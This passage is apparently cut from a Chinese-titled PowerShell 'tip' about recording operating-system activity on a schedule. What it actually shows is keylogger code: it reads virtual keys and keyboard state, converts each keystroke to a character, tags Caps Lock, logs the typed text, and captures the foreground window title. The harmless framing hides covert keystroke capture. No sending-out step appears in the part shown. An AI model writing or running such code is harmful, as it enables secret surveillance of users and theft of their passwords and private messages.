PowerShell小技巧之定时记录操作系统行为

                            #check for capslock
                            if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}

                            $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
                            $KeyboardState = New-Object Byte[] 256
                            $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)

                            #create a stringbuilder object
                            $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
                            $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)

                            #convert typed characters
                            if ($UnicodeKey -gt 0) {
                                $TypedCharacter = $StringBuilder.ToString()
                                $LogOutput += ('['+ $TypedCharacter +']')
                            }

                            #get the title of the foreground window
                            $TopWindow = $ImportDll::GetForegroundWindow()